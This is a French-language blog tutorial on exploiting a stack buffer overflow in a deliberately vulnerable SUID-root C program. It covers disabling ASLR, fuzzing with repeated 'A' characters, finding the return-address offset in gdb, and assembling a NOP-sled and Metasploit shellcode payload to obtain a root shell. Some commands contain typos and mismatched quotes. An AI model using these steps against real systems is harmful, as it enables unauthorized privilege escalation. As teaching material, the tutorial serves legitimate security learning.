Buffer Overflow

1. Notions essentielles

Quand un programme est exécuté, différents éléments (par exemple des variables) sont stockés en mémoire.

Premièrement, l’OS crée des emplacements mémoire ou le programme pourra « tourner ». Cet emplacement mémoire inclut les instructions du programme actuel.

Deuxièmement, les informations du programme sont chargées dans l’espace mémoire créé.Il existe trois types de segments dans le programme : .text, .bss et .data.

  • Le .text est en lecture seule tandis que le .bss et le .data sont en lecture/écriture.
  • Le .data et le .bss sont réservés pour les variables globales.
  • Le .data contient les données initialisées.
  • Le .bss contient les données non initialisées.lLe .text contient les instructions du programme.

Finalement, la pile (stack) et le heap (partie de la mémoire interne utilisée pour construire ou rejeter dynamiquement des objets de données) sont initialisés.

Stack (LIFO) : la donnée la plus récente placée (push) dans la pile sera la première sortie (pop).

Une LIFO est idéale pour mémoriser des données transitoires ou des informations qui n’ont pas besoin d’être stockées longtemps.

La pile stocke les variables locales, les appels à fonction et d’autres informations utilisées pour nettoyer la pile après qu’une fonction ou procédure ait été appelée.À chaque donnée stockée dans la pile, l’adresse contenue dans le pointeur de pile (ESP) décroît.

La première chose à trouver sur une machine UNIX lors d’une attaque locale est un programme vulnérable, mais cela ne suffit pas. Il faut injecter notre code dans un programme qui est exécuté avec les droits root même s’il est appelé par un utilisateur.

On se retrouvera avec les droits root et on sera en possession d’un shell qui permettra d’exécuter n’importe quelle commande en tant que root.

Comment connaître les programmes avec le SUID root activé ?

find / -type f -perm -04000

1.2 Un exemple simple pour comprendre

Pour pouvoir dérouler notre exemple, nous allons devoir désactiver le patch Linux sinon cela ne marchera pas du à la randomization des adresses :

# cat /proc/sys/kernel/randomize_va_space 
1 
# echo 0 > /proc/sys/kernel/randomize_va_space 
# 
# cat /proc/sys/kernel/randomize_va_space 
0 

Voici un programme très simple qui alloue de la mémoire.

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
int vuln(char *arg) 
{ 
    char buffer[512]; 
    strcpy(buffer,arg); 
    return 1; 
} 
int main(int argc, char **argv) 
{ 
if(argc<2)exit(0); 
vuln(argv[1]); 
exit(1); 
}

Dans le programme ci-dessus, le buffer a été déclaré avec une taille de 512 octets.

Les sauvegardes des registres sur la pile sont codées sur 4 octets (registres 32 bits).

Les deux arguments de la fonction vuln sont des adresses de buffer, ils sont codés sur 4 octets.

Si nous arrivons à écrire 4 octets de plus que la taille du buffer, alors les 4 octets de EBP seront écrasés.

Si nous arrivons à écrire 4 octets de plus, alors c’est EIP qui sera écrasé.

Si EIP est écrasé par une valeur que nous aurons définie, lors de l’appel à ret, c’est cette valeur qui sera extraite de la pile et à laquelle le programme sautera.

Nous risquons d’avoir un écart de 4 octets suivant la version du compilateur.

Compilons d’abord le programme, donnons-lui le droit d’exécution et activons le bit SUID :

# gcc -o programme_test programme_test.c
# chmod u+s programme_test

Nous allons pouvoir nous attaquer au buffer overflow.

La première chose à tester est la faillibilité de notre programme. Nous allons donc essayer d’injecter un grand nombre d’arguments en lançant notre programme. Si celui-ci est vulénrable, On aura un segment fault en retour.

ASTUCE : Voici ma commande préféré pour rapidement génerer des caractères. Pour écrire, par exemple, un grand nombre de « A » grâce à Python on écrit :

python -c 'print "A" * 1000' > BUFF.TXT

Sur votre terminal vous devriez voir apparaître 1000 fois le caractère « A » :

On lance notre programme avec en paramètre nos 1000 caractère « A » :

./premier_test BUFF.txt

Notre programme nous renvoie une erreur de segmentation. Il est donc susceptible d’être vulenrable à un, buffer overflow.

Maintenant il faut déterminer exactement pour quel nombre de caractères le programme plante pour pouvoir écraser l’adresse de retour.

Nous allons pour l’instant tester manuellement jusqu’à trouver la taille du buffer. Nous verrons ultérieurement comment automatiser tout ça.

Pour visualiser le contenu de l’adresse de retour, on lance gdb sous Linux.

$ gdb ./premier_test
(gdb) r 'python -c 'print "A" * 1000''

r signifie run, non lance le programme avec les 1000 « A » comme arguments.

On peut voir « Segmentation fault » avec une adresse inconnue qui est 0x41414141. Que représente cette adresse ? 41 en hexadécimal représente le A. Donc l’adresse de retour a été remplacée par quatre A. L’adresse de retour a donc bien été écrasée.

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? ()

On va essayer, en tâtonnement, de trouver exactement le moment où nous écrasons l’adresse de retour.

(gdb) r 'python -c 'print "A" * 200''
(gdb) r 'python -c 'print "A" * 500''
(gdb) r 'python -c 'print "A" * 520''

Nous voyons que pour 520 A exactement, nous écrasons l’adresse de retour (EIP).

1. Comment POC un BoF ?

  • executer un fichier si ce dernier vous demande un input il se peut qu’il soit vulnérable à un BoF, en effet si vous lui donnez une grande quantité de donnée en input il pourra peut être vous renvoyer l’erreur type BoF 

→ Segmentation Error

BRAVO NIELS T’AS TROUVÉ UNE FAILLE BoF 

2. Comment l’exploiter ?

utiliser le debugger gdb 

gdb -q ./exe

grâce à un generateur de pattern vous pouvez concevoir un input en déterminant sa taille (https://wiremask.eu/tools/buffer-overflow-pattern-generator/?)

après l’avoir conçu vous pouvez exécuter le fichier dans gdb avec ce pattern en input on

Gdb vous donnera la register value où  l’overflow se produit 

Prenez cette valeur et cherchez sa valeur d’offset sur le site Wiremask

Parallèlement on va générer un shellcode sur msf:

msf payload(exec) > generate -b ‘\x00\x0a\x0d’ (\x00\x0a\x0d est l’hex pour la cmd shellcode )

Finalement nous allons pouvoir exécuterexecuter notre payload sur gdb:

./exe $(python -c « print ‘A’ * ‘valeur de l’offset trouvée’ + ‘\x80\xfb\xff\xbf’ + ‘\x90’ * 16 + ‘shellcode généré par msf' »)  

ça y est vous avez exploité la faille BoF en injectant un shell 

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s